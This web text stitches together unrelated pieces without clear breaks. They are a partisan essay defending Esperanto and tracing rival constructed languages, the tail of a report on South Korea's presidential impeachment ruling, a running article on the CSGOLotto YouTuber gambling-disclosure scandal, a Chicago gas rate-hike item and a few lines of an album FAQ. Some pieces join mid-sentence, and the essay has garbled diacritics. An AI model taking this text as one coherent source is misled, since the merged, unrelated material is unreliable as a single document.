What is incomprehensible to all the critics who delight in trivializing and mocking Esperanto is that foreigners have never been able to communicate with them on a basis of equality. The relationships of native English speakers with 95% of second language speakers of English who have learned the language as a result of enormous diligence and aptitude is simply that of master to slave. Such is the attitude expressed in reactions to a recent proposal to make Esperanto a required subject in Ukrainian schools. Imagine the nerve of the Ukrainians to ask to be placed with an equal footing with native speakers of English! Only those who have struggled to learn a foreign language and been reduced for years to the level of a stuttering five year old child in speaking with native speakers can appreciate the liberating influence of Esperanto.
Those who have only the most superficial or no knowledge of Esperanto undoubtedly believe that if all Esperanto speakers died today, the language would end and be nothing more than an historical footnote. My experience across a dozen countries and hundreds of personal contacts convince me that the language would be revived within a few years by new "converts" convinced that no other medium can or could fulfill Esperanto's unique contribution to international communication.
The Language Barrier
In the days of silent films, the language barrier seemed less obvious and few people in the Anglo-Saxon world of "islands" such as Britain, Australia, New Zealand and the continental size "island" of America hardly needed to confront anyone outside of their own tongue. Even today, the idea of an “auxiliary language” strikes many as a far fetched and an outmoded ideal when the media continually reassure the public that English has become the “world’s international language.”
Nevertheless, Britain ’s membership in the European Union has highlighted the problem of the language barrier to a considerable degree. Although the U.K. is the center (centre) of the multi-billion dollar industry of teaching English world-wide, there has been some support for Esperanto in the British Parliament in the form of a lobby group. At the time of the centenary of Esperanto in 1987, it numbered more that 200 members of the Upper and Lower Houses (mostly Labour/Labor). A proposal for an Esperanto language service by the BBC was squashed in 1967 after a few initial broadcasts - due to unpublicized pressure from the vested interests of the English language teaching, the British Council and textbook industry.
The reality of the language barrier is that even the best translations cannot be considered as “equally authentic.” As many individuals have discovered who have purchased “electronic dictionaries” or computer programs to “translate”, there is no one-to-one correspondence between languages. The reality of the language barrier is constantly downplayed by the visual media. Television news reports consistently manipulate camera angles to eliminate the presence of interpreters so that the TV audience is under the impression that heads of state are actually speaking to each other.
The Reality of The Language Barrier
A recent film that accurately demolishes these conceptions is the award winning Russian production “The Cuckoo” by the producer Aleksander Rogozikin. It portrays misadventures in war-torn Finland during 1944 when fate throws together a Finnish sniper who deserts and is on the run from his German commander, a Russian captain who is facing a court-martial and a Lapp widow. For the first time in film history, subtitles enable only the audience to understand what each one of the characters means to say but is unable to communicate to the others.
Many individuals who oppose Esperanto are unaware of the unconscious but powerful emotional tie we all have with our native and "mother tongue" that forms such a large part of our personality. Playing on this emotional tie, it is easy to convince people for whom no recourse has ever been made to the evidence, that Esperanto is a language that "no one speaks" or "speaks with the same authority and eloquence as national languages".
The Disbelief in an Esperanto Culture
For them, it represents a kind of Frankenstein-like invention "without a soul." Mary Jackson, (so eminently sensible about almost all else), in her commentary "Volapük - Esperanto for losers" (New English Review, December 2006), concludes that Esperanto must be "soulless". She is also convinced there is no Esperanto literature worth reading. I know there IS - both original literature in Esperanto and works translated from Esperanto into English and dozens of other languages. Moreover, a Scottish Esperantist, William Auld, was a recent candidate for the Nobel Prize in literature but he, as well as other great Esperanto writers, such as Sandor Szathmari, Raymond Schwartz, Julio Baghy, Ferenc Szilagyi, Kalman Kalocsay, Jean Forge, Gaston Waringheim and Claude Piron may be just names that evoke a shoulder shrug but their works have been read and appreciated and held in the highest regard by the speakers and readers of a language that indeed has a culture if not a homeland.
I quote briefly from an editorial tribute to Auld in The Scotsman (Sept. 15, 2006)
The Scottish Esperanto poet and translator William Auld always said that Esperantists had yet to explore fully the richness and potential of their language. Whatever the truth of this claim, few writers in the 119-year history of Esperanto could match Auld for his mastery of poetic and narrative style in a language which, as he told students, should be considered a major work of art. In fact, he argued, Esperanto was greater than the Mona Lisa or the nine symphonies of Beethoven because, unlike these, the language published by the Polish doctor Ludoviko Zamenhof in 1887 could itself be used to create other works of art.
And, among the post-war generation of Esperanto writers, no-one was more adept at waking the sleeping beauty of the language than William Auld. For this reason he was nominated in 1999 - and in following years - for the Nobel Prize for Literature. the first Esperanto writer to be so honoured."
Nevertheless, many of the Esperanto authors mentioned above could have (and should have) been nominated were it not for the fact that there is no Esperanto lobby able to exert influence with the Nobel Prize Committee. The same of course applies today to writers in "minor languages" like Welsh, Gaelic, Basque and Yiddish. Unless their works have been skillfully and accurately translated into major European languages, most importantly English and French, they risk being understood only by a tiny audience of less than a million readers.
The Elites and the Cranks
There is indeed a powerful opposition of all those elites who have studied for many years, investing monumental efforts in order to be able to communicate in one of the prestigious major national languages. This ability elevates them far above their compatriots who only speak "minor tongues" and casts them in a superior role they are reluctant to relinquish. After all, if "anyone" can master Esperanto in a tenth of the time it took to reach a similar level in one of the "Great International Cultural Languages", of what lasting value can it be?
Those who are most aggravated by the actual success achieved by Esperanto focus their attention on the easy target of "strawman" cranks or eccentrics, typical "overnight" and shallow converts to Esperanto with absurd hopes to exploit it as a means to achieve some other noteworthy goal - world peace and brotherhood, nudism, vegetarianism, etc. Esperanto and other idealistic ideas have attracted more than their share of such types.
The insistence of various proponents and enthusiasts of the several competing international devised languages that their project was innately superior only generated further divisiveness and a reaction on the part of the broad public to a “plague on all your houses”. Only Esperanto endured however, grew and matured to become a living language but its very success causes embarrassment to skeptics, opponents and professional linguists who all a priori reject the notion that a devised (and despised) language can achieve any degree of acceptance as an aid to international communication.
Esperanto's Real Enemies Who took It Seriously
Although buffeted by the catastrophes of two world wars, persecution by both the Nazis and the Soviet regime, and the nasty, dismissive or condescending remarks that we Esperantists lack a soul, Esperanto is today a living reality, supported by an “invisible” but active community of approximately a million speakers, a literary culture embracing more than 30,000 literary works, both original and in translation, hundreds of periodicals, scores of international gatherings, seminars, guided tours, theatrical groups, musical ensembles, several university programs granting higher degrees, recognition as an official language of instruction at the International Academy of Sciences in San Marino (subsidized by the European Union), a dozen or so hours of weekly radio transmissions (primarily from The Vatican and Communist China), more than one hundred specialized dictionaries in the sciences, technology, arts and commerce and countless friendships made possible across linguistic barriers.
It makes as much sense to denigrate Esperanto as to ridicule Welsh, Estonian or Catalan. Of course, “educated” people would never venture an opinion or mock a national language about which they know nothing for fear of offending a particular nationality and being "politically incorrect" but Esperanto is fair game for cynics and may provoke an off the cuff comparison with “Klingon” (imaginary language of aliens from outer space). The critics and the cynics are wholly ignorant of Esperanto's real enemies with real power who took it seriously enough to put tens of thousands of its proponents to death or imprison them for decades.
These range from the totalitarian regimes of Hitler and Stalin, Italy during the latter period of Mussolini's rule, the Japanese government of the late 1930s and World War II, Nationalist Spain under Franco from 1939 to about 1950, all the "People's Democracies" in Eastern Europe from 1948 to 1955 and including the miniature psychopaths like Enhver Hoxha in Albania, the Iranian mullahs and Romania's Ceasecsu who made learning a foreign language the equivalent of disloyalty. Critics and trivializers of Esperanto would no doubt have a different opinion today if they were able to read the 530 page work "La Dan?era Lingvo - Studo Pri la Persekutoj Kontra Esperanto" (Bleicher Publishers, Antwerp, 1988) by Ulrich Lins.
There was a brief explosion of interest in Esperanto in Iran following the revolution against the Shah when the downfall of a despot seemed briefly to open new doors. The interest was likely due to the difficulties of the many Iranian students studying abroad who have had to invest many years learning one of the major European languages or Arabic in order to make their mark in the world. The conservative mullahs did not take long however to find out that Esperanto has had long historical associations with the Jews and the Zionist and cosmopolitan background of its founder, Dr. L. L. Zamenhof. Moreover, an international language has long been favored by the Bahai movement which has its origins in Iran and has always been considered heretical by Muslim theocrats in all Muslim countries.
A Brief History of Devised Languages
1. VOLAPÜK.
The first actual project to aspire to popularize a “neutral” or “unbiased” international language without any peculiarities of pronunciation and grammar found in existing national languages. Its inventor, Johannes Schleyer, was a German priest with a classical education. A world congress was organized in Germany in 1884, followed by a second one in 1887 and another in 1889. The question of how many of Volapük's adherents could actually speak the language was made clear at the first two congresses when all the delegates used German as the language of business and the third one failed miserably in its attempt to actually use the spoken tongue proving just how unwieldy and impractical it was.
2. ESPERANTO
Although the founder of Esperanto, Ludwig Lazar Zamenhof, a Russian-Polish Jew, began to develop Esperanto before becoming aware of Volapük, he had already rejected complicated elements in Schleyer’s project that were largely responsible for its ultimate failure. Zamenhof’s native Bialystock in Russian occupied Poland was a town divided between Jews, Germans, Poles, Russians and Lithuanians. While still a teenager, Zamenhof strove to create a practical and easily learnable language that could be used as everybody’s “second language.” The first Esperanto textbook (in Russian) was published in July of 1887, made possible in part, by a generous dowry from the young man's father-in-law.
The “relative“ success of Esperanto was meteoric and can only be ascribed to the fact that Schleyer had prepared the field with “great expectations” that failed to materialize and the appeal of Zamenhof’s brilliant mechanisms to simplify the grammar and vocabulary.
The regularity of vocabulary building was a schematic shortcut. Words with related meanings share a common "root" indicated by the same consonantal letters as in Hebrew. For example a Hebrew speaker instantly recognizes the shared root letters S-F-R in SeFeR (book), SoFeR (writer), SiFRiyah (library) and SiFRut (literature). Zamenhof employed the same scheme for Esperanto*. The vocabulary was chosen by finding “the lowest common denominator” of the root common in the major Romance and Germanic languages. The word for house is “domo” in Esperanto. This is immediately recognizable to speakers of Italian (domo) and those who know Latin (domus) and even speakers of English and French would recognize that the Esperanto word has a similarity to “domicile” or "domestic".
Zamenhof employed the same logical scheme for Esperanto. So, sano in Esperanto is the basic word for “health” and thus we have malsano (illness), sana (healthy), malsana (ill), saneco (healthiness), sane (healthily), sanilo (medicine), malsanulo (patient), sanulejo (health resort;) sanejo (health clinic), malsanulejo (hospital), sanigi (to cure) sani?i (to become well or recover), etc. Knowing a single word for health (sano) enables the learner to immediately recognize the above twelve words according to their prefixes or suffixes and endings (o for all nouns, a for all adjectives and e for all adverbs).
The enthusiasm and dedication Zamenhof inspired were due to his high idealism, innate modesty and unselfish example. Unlike Schleyer and those who followed him with other desk projects, Zamenhof renounced all rights or the privilege of copyright. For him, the language was not an end in itself but a tool to reach a more harmonious brotherhood among the world’s peoples.
After a brief period of initial support by the USSR in the 1920s (calling Esperanto “the Latin of the Proletariat“), growing Stalinist paranoia came to regard Zamenhof’s Jewish and “bourgeois” background as proof of its reactionary character (In 1938, the Soviet Criminal Code declared Esperanto to be “a tool of Zionism and cosmopolitanism“). The code was rigorously enforced in the Baltic Republics after their annexation to the USSR in 1940.
3. The IDO “HERESY” - Active French Opposition to Esperanto in the League of Nations
Criticism of Esperanto became apparent as soon as it began to achieve its unprecedented success. Critics, mostly professional linguists all had their pet objections to its structure, phonology, and vocabulary, the supersigned letters (six letters with diacritics), the many Germanic and occasional Slavic words and the grammatical “peculiarity“ of a special final ending (the letter n added to nouns) for the direct object. These objections came primarily from those who had a classical education and were native speakers of French and English - the two most prestigious national languages.
A French mathematician, Louis Couturat, led a campaign to “reform“ and eliminate those differences that were most offensive to French eyes and ears. French nationalists and linguists were beginning to fear Esperanto’s progress and favorable mention. After failing to win additional support outside of France, he launched his own language project “Ido”, employing a clever ruse. He sponsored an international committee in 1907 to judge various competing projects that included Esperanto and other devised languages, none of which had any existence outside of the drawing board. Manipulating the rules by which to judge the candidates so as to exclude Zamenhof and using a secret “insider”, Couturat employed the politically ultra-conservative Marquis Louis de Beaufront to support Ido.
At least 85% of the Esperantists who had affiliated to the movement remained loyal. Ido withered away from the repeated attempts by others within the schism to propose “just one more reform” that they were convinced would make the language perfect. The resulting controversy and accusations of betrayal helped cast all the projects including Esperanto and the very idea of an internationally auxiliary language in a bad light. Esperanto had been wounded from within and it did not take long to discover that indeed the Ido movement had been hatched as a Francophone conspiracy by Couturat and de Beaufront acting in collusion.
The active opposition of the French Foreign Ministry and French delegates at the League of Nations where it was feared that Esperanto might be introduced as an official language alongside of French and English, indicate the perceived threat Esperanto posed at a time when it attracted considerable international support from the “minor” states whose “national languages” were either restricted to one nation or else were burdened with a bilingual or multilingual policy. In 1920 and 1921, resolutions favorable to the teaching of Esperanto and its use in the League were supported by Albania, Belgium, Brazil, Czechoslovakia, Chile, China, Finland, Haiti, India, Italy, Colombia, Persia, Romania, South Africa and Venezuela but bitterly opposed by France. The French delegate, Gabriel Hanotaux, former French Foreign Minister demanded the exclusion of Esperanto from any consideration as an international auxiliary language and extolled the use of French as the “classical language of diplomacy”. He prohibited the presence of any French delegate at international meeting in which Esperanto was permitted.
In 1922, the General Secretary of the League sent a circular to all member states asking them to report on the status of Esperanto instruction. In reaction, the French Minister of Education, Léon Bérard (later appointed Ambassador to the Vatican by the Vichy government), forbade the use of any French classroom for the instruction of Esperanto and provided a clandestine subsidy to the Ido movement to further contradict the claims of Esperantists. Conservative circles in France even expressed satisfaction that the United States had opted not to become a member of the League of Nations, a step that would have further increased the prestige of English.
4. OCCIDENTAL - The Reaction of Classicists, Linguists with a Grudge and the Nazis
The reaction to Esperanto’s success evident in the Ido project was to deepen and grow darker with the advent of nationalist extremism in Europe and the anti-Semitism of the Nazis. For Hitler, the explanation was much simpler, as expressed in his autobiography Mein Kampf, published in 1925.…
As long as the Jew has not become the master of the other peoples, he must speak their languages whether he likes it or not, but as soon as they became his slaves, they would all have to learn a universal language (Esperanto, for instance!),
Hitler had struck a raw nerve with other German nationalists and right wing intellectuals in other nations who opposed Esperanto due to its relative success among the working class and the Jewish background and internationalist sentiments of its founder. Edgar de Wahl, an Estonian linguist, praised Esperanto but objected strongly to what he felt was its “unnatural” non-Western character. His own proposal termed Occidental set the tone for other similar proposals that rejected the “schematic“ nature of Esperanto, one of the most attractive features for ease of learning the language but aesthetically rejected by all those who demanded a devised language that would appear “natural."
De Wahl‘s project resembled a rationalized but visibly recognizable Romance language without the schematic elements of Esperanto that “offended” the sensibilities of all those familiar with the Latin heritage and demanded that Occidental should be comprehensible at first sight and without previous instruction to all civilized Europeans and should not shock the public through incomprehensibly strange forms such as “malsanulejo” (hospital).
5. INTERLINGUA and The Renewal of the Neo-Latinism Criticism of Esperanto
It is hard to really determine who needed another international or utopian language. The IALA (The International Auxiliary Language Association) was founded in 1924 by Mrs. Alice Vanderbilt Morris, the wife of the American ambassador in Belgium and member of the wealthy Vanderbilt family who seems to have used her position to sponsor a pet project of Columbia University in New York which had invited several distinguished European linguists to do research there.
Much preliminary work was done under an Americanized German linguist, Dr. Alexander Gode. Gode was no idealist but had an interest to produce a definitive Standard Average European vocabulary, based on the common word-stock of the European (i.e. Romance) languages. The result was Interlingua, published, in 1951, It can be recognized as an offshoot of the Romance language family with a minimal grammar and simpler than Occidental. Dr. Gode declared that it could be called a “modern Latin” or “an average linguistic European norm.” For him, the advantage of Interlingua was the degree it could be “instantly recognized” by intellectuals whether European, African or Asian who knew at least one “great cultural language.” The substantial funds made available through Vanderbilt and Columbia University connections enabled the publication of many scientific abstracts in Interlingua thus making it for a time quite visible.
Looking at a similar text in Esperanto, Ido, Interlingua and Occidental, most observers would conclude that there is hardly a nickel’s worth of difference between them if we only took into account the similarity in appearance of individual words. What makes Esperanto different and unique is the absolute regularity of its word building mechanisms and identifying endings AND more importantly, the collected experience of a living language community extending over five generations and many tens of thousands of active fluent speakers, writers and readers who have taken a vital participatory role in shaping the language, creating new words and even slang.
6. BASIC ENGLISH
Basic English was the brainchild of those who believed that the British Empire could (or should) continue to prosper following World War II and could already (correctly) see that the preeminence of English literature and the new superpower commercial, military and political status of the United States had combined to offer the world the most important vehicle for international communication. The project received the sporadic support of President Franklin D. Roosevelt, Sir Winston Churchill and even Prime Minister to be of India, Jawaharlal Nehru (Gandhi by contrast expressed support for Esperanto) during the war as well as generous financial aid from the British government in the form of The Foundation to Promote Basic English established by C. K. Ogden.
The BBC and the Voice of America used varieties of Basic English (called “Special English“, slower rate of speech and simple grammatical constructions in broadcasts for several years but the results were not favorable among listeners. George Orwell took some of the general principles of both Esperanto and Basic English and used them as a model for his imaginary Newspeak in the novel “Nineteen Eighty-Four“. It is not surprising that devised languages and most notably Esperanto suffered from Orwell’s image of a totalitarian party in a debased and regimented society the goal of which was to prevent the use of any sophisticated language capable of encouraging people to think for themselves. Orwell’s borrowing of several principles from Esperanto for his 1984 Newspeak did inestimable damage to the idea of using a devised language for any serious purpose. It maligned Esperanto’s image and gave the impression that it was similar to Newspeak, designed as a tool for reducing the power of expression.
The British government bought the copyright to Basic English after World War II and must have had hopes that it could be adopted in some format for international use but it held out no hope for all those foreign students already dismayed by the inconsistencies of English spelling, pronunciation, syllabification and stress. Moreover, the teaching of standard British English became such an important industry through the efforts of the British Council that any hope to teach a simplified form was dropped.
7. INTERGLOSSA
One other competitor merits attention - Interglossa created by Prof. Lancelot Hogben of Great Britain, who is best recalled for such works of scientific popularization as Mathematics for the Millions and Science for the Citizen. His novelty was an even greater effort to appease Classical tradition by devising a tongue whose vocabulary consisted entirely of roots from Greek but whose grammar was syntactically borrowed from Chinese recalling the “universal appeal“ that Schleyer imagined Volapük would exert on the world stage. This added an element missing since the days of Volapük to appease the sensibilities of the greatest number of speakers on the planet. His book appeared in 1943 but evoked little reaction in the midst of world war. After a flurry of renewed interest with the addition of the inevitable “reforms” in the 1970s, it has remained a desk project. The same may be said today for all of Esperanto's competitors that, like the Neanderthals, died out and became extinct.
Esperanto and Post World War II Developments
In spite of two catastrophic world wars and active persecution against Esperanto in the totalitarian states from the mid-1930s, the language’s achievements have been remarkable. The spread and growth of Esperanto in new centers in Asia such as Japan, China and Korea have effectively demolished the argument that because its vocabulary is so heavily influenced by the major European Latin-Romance and Germanic families, that it would never achieve acceptance outside of Europe. A high point for Esperantists was the gathering of a million signatures on a petition submitted to UNESCO in 1954 and favoring the international language at the organization’s meeting in Montevideo.
The Tower of Babel Stands - Stronger Than Ever
The only devised language to achieve partial and long lasting success, Esperanto, appealed most to the “common man.” The critics acknowledge that Esperanto has not achieved its full potential due to the hard rock of political reality that without a wealthy and powerful patron, it offers no serious economic or career based inducement to learn. It is exactly this reasoning that led both the Polish and Swiss State radio services to recently end their Esperanto language daily broadcasts after 40 years. Budgetary restrictions and the need for the Swiss to offer programming in Arabic for the many "guest workers" and for the Poles to expand services in Ukrainian and Belorussian meant that the only "easy savings" would be in ending a service for a "vague, indefinite and cosmopolitan" audience.
Most governments, if they had been interested in eliminating the language barrier, would have done something serious about it long ago. The Tower of Babel continues and actually grows higher and higher. The League of Nations was content with two international languages, the U.N. must provide various services in six and the demands grow for continued expansion of the European Community to offer additional translation and interpretation services in more than two dozen languages! Most people who wish to travel or communicate in any way with other language speakers will have to painfully learn foreign languages or get themselves interpreters, translators, and guides.
* Author's note; see my article "Zamenhof and Esperanto" in Ariel, 1986. No. 64. pp. 58-71.
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To help New English Review continue to publish interesting and informative articles such as this one, please click here.An earlier version of this story misspelled President Park's given name. This has since been corrected.
Seoul, South Korea South Korea's Constitutional Court has upheld a decision by the country's National Assembly to impeach President Park Geun-hye over alleged corruption.
The unprecedented decision was unanimous, with all eight judges on the court voting to remove Park, the country's first female president, from office. South Koreans immediately took to the streets, with some groups protesting against the decision and others celebrating her removal from power.
Two people died in the protests, a statement from Prime Minister and acting President Hwang Kyo-ahn said.
The decision was revealed by Justice Lee Jung-mi Friday in a live broadcast that gripped the nation.
"We announce the decision as the unanimous opinion of all judges. We dismiss the defendant President Park," said Lee.
South Korea's political stability is crucial to the security of the region -- it is a key buttress against North Korea, its provocative neighbor, and a major trading partner with the US and
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that you didn’t realise he was affiliated with the gambling site he owns.
“My connection to CSGOLotto has been a matter of public record since the company was first organised in December of 2015, however I do feel like I owe you guys an apology,” he says. “I’m sorry to each and every one of you who felt like that was not made clear to you.”
It’s worth noting that “public record” means it’s present in the company’s documents, not that TmarTn ever said he owned the site publicly.
The only criticism levelled at him that he actually addresses in the video is about the site’s age restrictions. He doesn’t mention thevideo that clearly showed him logged into the gambling site’s bot, and he doesn’t address criticisms based around videos of him saying he “found” the site, suggesting he wasn’t being clear he’s an owner.
Most of the video is TmarTn thanking his fans for letting him have all the success he’s found through YouTube. Here’s the video, which has had ‘dislikes’ disabled:
The reason the statement is so light is likely because the owners of CSGOLotto have sought legal counsel fromWatsonLLP, viaPC Invasion. The firm has released the following statement:
“First and foremost, Trevor Martin values the support of his YouTube followers, and he is focused on publishing entertaining content for them.
“The ownership interests in CSGO Lotto have been public record since the company organized in December 2015.
“It is important to understand that winners on the website are randomly determined by both algorithms and computer code. The odds of winning games played at CSGO Lotto are not more or less favorable to any players. The company has fail-safe measures in place to prevent any person and any player from independently changing or manipulating the outcomes of any games played.
“CSGO Lotto finds it deeply troubling that statements against both the company and its owners are not supported by facts and lack a serious understanding of “gambling,” as that term is legally defined. In this way, CSGO Lotto is materially different from its competitors who operate other game play websites that may, in fact, cross the line of legality.
“There is also considerable misinformation concerning allegations that CSGO Lotto encourages minors of age 13 to participate in its games. This stems from a misunderstanding of the company’s privacy policy. The policy references minors aged 13 and under due to the company’s compliance with the Children’s Online Privacy Protection Act. Contrary to what has been suggested, the company does not condone the usage of its website by minors under 18 years of age and, indeed, players must certify their age at the outset. Furthermore, statements released by the company on prior occasions are consistent with the company’s continued efforts to ensure that it does not collect the personal information of any minor.
“-Coleman Watson, Esq. Watson LLP”
Update Jul 6, 2016:A tri-lawyer AMA on Reddit has revealed some interesting facts, but TmarTn’s promised statement is yet to appear.
The train rolls ever onward. Three eSports focused lawyers ran an AMA last night on the CS:GO subreddit answering questions about the current gambling scandal, possible ramifications, theon-going lawsuit against Valveand any other topics people may be curious about. Meanwhile, Trevor ‘TmarTn’ Martin’s statement on the situation, which he said would arrive yesterday, has been delayed until later today.
There’s a lot of interesting answers in the AMA, but most so is the disagreement between Ryan Morrison, aka VideoGameAttorney, and Bryce Blum, aka eSportsLaw, on exactly what the ramifications of the CSGOLotto, ProSyndicate and TmarTn scandal will be. While Morrison believes lawsuits and punishment are inevitable, Blum is less sure. It’s also split between whether civil or criminal charges will be brought.
On the civil end, Morrison says that he has “received over 75 emails from people wanting to sue TMartn specifically (they are in his videos, losing to him). They used to think it was a cool video to have. Now it’s proof of fraud (in their minds). So if my firm doesn’t lead that litigation, another firm will.” He also goes on to say that he agrees they “have a good case.” Blum says he’s also received similar emails.
For criminal, there’s less surity. Blum believes that the understaffed and overworked nature of government departments means they’re not going to want to bother with YouTubers and videogames until something desperately serious happens. Even with the situation being reported to the FTC, he doesn’t think it will go anywhere. Morrison, on the other hand, takes a mercenary view, believing a District Attorney will pick the story up and run with a lawsuit as a career-building move – or just because they’re a nice lawyer. Blum thinks it isn’t “juicy” enough yetbut will be if things “continue down this path.”The third participant,Jeff Ifrah, points out the FTC can bring serious weight to a situation if it likes.
There’s a nigh-endless amount more in the actual thread if you feel like a read. In general, Morrison is fairly sure serious legal consequences will befall TmarTn, ProSyndicate and others, while Blum thinks the storm will need to continue a little longer before the big legal folks sit up and pay attention.
As for the YouTubers, ProSyndicate has been mostly quiet on the situation, though did say he had a statement coming in one of his vlogs. TmarTn posted last night that the statement video he promised for yesterday is instead coming later today. He didn’t explain the delay. We’ll update if and when it’s posted.
Update 11:00PM BST:Trevor “TmarTn” Martin, president of the CSGOLotto site he and co-owner Tom “ProSyndicate” Cassell have been promoting without disclosure for several months, will issue a statement tomorrow.
The statement comes as another high-profile YouTuber and streamer Josh “JoshOG” Beaver, who admitted to owning equity in the gambling site while also failing to disclose his “sponsorship”, has begun removing videos where he discussed his relationship with the site.
The footage JoshOG removed was a VOD from his Twitch stream today, uncommon as all of his previous VODs remain up including the stream before today’s on July 2.
In the duration of the stream, he answered a question from a viewer on whether he was worried about his relationship with CSGOLotto, which is still visible as a prominent link out– several times – from his Twitch channel.
The answer has been clipped by a viewer below:
JoshOG Playing Overwatch – Twitch Clips
Further instances of him discussing how his name is on the charter for the business that he hold equity in can be seen at 5h07m58s and 6h32m45s in this mirror of the VOD which someone had the forethought to grab hold of.
TmarTn’s statement tomorrow is expected to address his non-disclosure of the site’s ownership during promotional videos, as well as the attempts to cover up information related to its discovery by HonorTheCall (which if you’re new to this story you have a lot of reading to get to down below).
ProSyndicate has not made an announcement of any statement, despite his involvement in a potentially third Federal Trade Commission breach in as many years.
In January 2014 he was part of the Machinima network and received $30,000 to produce two positive videos on the Xbox One launch title Ryse without disclosing the fact.
A year later, in August 2015, having been warned by the FTC about the need for disclosure, he and fellow YouTuber Adam “Seananners” Montoya failed to disclose they owned the publisher of Dead Realm, a game they were producing substantial numbers of videos for.
Update 8:00PM BST:Valve have unblocked CSGOLotto after a volunteer moderator mistakenly flagged it as malicious earlier today, while an attorney has stated that TmarTn and ProSyndicate’s conduct was “definitely illegal”. Furthermore, a separate YouTuber has admitted taking part in rigged CS:GO wagers in order to promote another skin gambling site.
Volunteer Steam community moderator KillahInstinctjumped into a Reddit threadabout the gambling site being blacklisted on Valve’s malicious website database to explain the confusion.
“In combination with some newly added people reporting URL’s to this process led to some links being eronously blocked,” he wrote. “I have corrected this and have talked to the people involved and made more clear this should only be for malicious links.”
However, elsewhere, Trevor “TmarTn” Martin and Tom “ProSyndicate” Cassell’s deceptive non-disclosure of their ownership of a gambling site they promoted has provoked some interesting reactions.
Ryan Morrison, an attorney specialising in games and digital media, has been fielding questions about the situation as it stands with regards to advertising standards in the US.
“It’s definitely illegal, and definitely reported to the FTC,” he wrote to a Twitter user wondering if failing to tell someone you own the company you’re promoting is illegal or just immoral.
It's definitely illegal, and definitely reported to the FTC https://t.co/GZcOODXPS6 — Video Game Attorney (@MrRyanMorrison) July 4, 2016
The US Federal Trade Commission has strict advice on how to flag promotional videos, including self-promotion if the content creator owns the brand they are promoting.
The chain reaction of exposés this morning has also resulted in another prominent YouTuber, Lewis “PsiSyndicate” Stewart (not to be confused with ProSyndicate) admitting that he has taken part in rigged gambling site promotions without disclosing.
In the video made today, he claims that SteamLotto (again, not to be confused with CSGOLotto) rigged wagers he took part in to gift him an AWP Dragon Lore and an AWP Medusa skin, as well as a Ruby Karambit knife. In total he estimates the skins come to around $3,200 real world value, though he says he gave away the first two in an act of contrition once he realised what he had done was, in his view, immoral.
PsiSyndicate also said he was considering giving away the knife too, but he does say it is his favourite and suggests it is only a maybe. His reasons for taking part in the promotion, and not disclosing his fee or the nature of the rigged wagers, was that he is “only human” and “weak-willed”.
He also suggested at multiple points throughout the video that there are several other “worse” cases in the YouTuber and streamer community.
“A lot of CS:GO youtubers are going to have things that we aren’t too happy to admit and will hide, and that’s what I’ve been hiding for a while now and it’s not been the hardest thing,” said Stewart. “Like I said, there’s been no concerns of anyone ever finding out because how the fuck are they going to, but there you go.”
Update 4:30PM BST:After receiving mainstream attention this morning, CS:GO betting site CSGOLotto has been hit with a Valve warning and one of its owners,Trevor ‘TmarTn’ Martin, has begun privatising videos and deleting tweets.
Today’s CS:GO betting saga goes on and on. The website in question, CSGOLotto, now has a massive anti-scam warning from Valve when you attempt to log into it via the Steam API. It can be bypassed via the small print, but it’s a big statement from Valve. Meanwhile, Trevor ‘TmarTn’ Martin, who was the main target of the H3H3 Productions video that kicked it all off, has begun deleting tweets and privatising videos that he’s made in response.
Here’s a screencap of the message from Valve, that warns the site has been flagged as “phishing, scamming, spamming, or delivering malware.”
TmarTn has deleted almost everything related to the scandal from his Twitter and YouTube. He had originally posted a Twitlonger response, a cached version of which can be seen here, but it’s been removed. Tweets regarding the situation have also been removed, including this one which, according to EG, said “There’s reporting news, then there’s just making shit up. It’s gonna be really funny when a huge slander law suit pops off and makes an example of some of these guys.”
TmarTn has also wiped clean the playlist of videos of CSGOLotto bets he had on YouTube, the remains of which can be seen here. There are re-uploads available, including this video which clearly shows TmarTn logged into one of the CSGOLotto bots.
TeamEnVyUs, of whom TmarTn is a minority stakeholder after a sponsorship deal some time ago, has issued a statement to make it clear that they weren’t involved with the situation at all, nor were their players. Any deals in place those players were made between the website and players personally, rather than enforced by the team. Team owner Mike ‘hastr0’ Rufail has also come out on Twitter to say that he expects there would be a lot of surprise from the community if all the owners of these websites were revealed.
Just a hunch, but I think many people would be surprised to learn who owns other skin lotto sites. Lots of alleged owners in the community. — Mike Rufail (@hastr0) 4 July 2016
He’s also defended TmarTnsaying he is “a great person.”
Original story:The CS:GO gambling scene has long been controversial, but took a new turn this weekend when YouTube channel H3H3 Productions released a video explaining that two massive YouTubers – ProSyndicate and TmarTn – have been making videos focused on gambling while advertising a site they own and not disclosing it. They also explain exactly how CS:GO gambling works and the recent news of aclass-action lawsuit against Valveregarding the skins economy.
It’s not only a good primer on the situation but explains exactly what’s wrong with what these folks have been doing too:
It’s worth pointing out there’s quite a lot of speculation of their own in there, particularly regarding how fake the videos are. That totally aside, the lack of disclosure of sponsorship has been a hot topic for many months on YouTube and one that has snared many of its top creators. Few, however, have been in the position of actually owning the product they’re advertising.
As mentioned, a lot of the information comes out of another channel called HonorTheCall who made a couple of videos on the subject. They cover the same information and feature the same speculation around faking reactions or results.
Since then, another member of the company and content creator, Josh ‘JoshOG’ Beaver, has discussed his position there on Twitch, as posted on Reddit. He explains that he has equity in the company as part of one of their earliest sponsorship deals, and that this was a fairly common practice during the early days of sponsorships.
So far, the only response to H3H3’s video from the two parties are various tweets, most notably ProSyndicate saying he apologises “to anyone who feels mislead regarding the ownership of CSGOLotto” and that there will be “transparency from here on out.”He also specifically denies that the site has ever or will ever scam players.Do check out his feed for a bit more.(CBS) — People’s Gas and North Shore Gas customers can expect to see an increase in their monthly heating bills, reports WBBM’s Mariam Sobh.
WBBM 780’s Mariam Sobh
That is because the Illinois Commerce Commission has approved a rate hike that will go into effect February 1.
“A winter rate hike is like getting a cold slap in the face,” said Jim Chilsen with the Citizens Utility Board. “Chicago gas customers are already paying their highest bills of the year in the winter and now they find out that those bills are about to get even higher, so that is a big deal.”
The rate hike affects customers in Chicago and the North Shore area. Chilsen says CUB is reviewing the ruling and plans to file a petition to challenge a portion of the rate increase.
A spokeswoman for the Integrys group, the parent company for both Peoples Gas and North Shore Gas, released a statement saying, “The ICC’s decision allows for a moderate increase in rates to recover our cost increases. Under the order, an average Peoples Gas residential heating customer could pay approximately $2.70 to $2.75 more per month through new rates. An average North Shore Gas residential heating customer could pay approximately $1.05 to $1.10 more per month.”MOST ASKED QUESTIONS
Did you have an island in mind when you came up
with the title 'On An Island'?
Yes. Castellorizon in Greece.
Who designed the 'On An Island' album cover?
A very nice chap called Steve Knee.
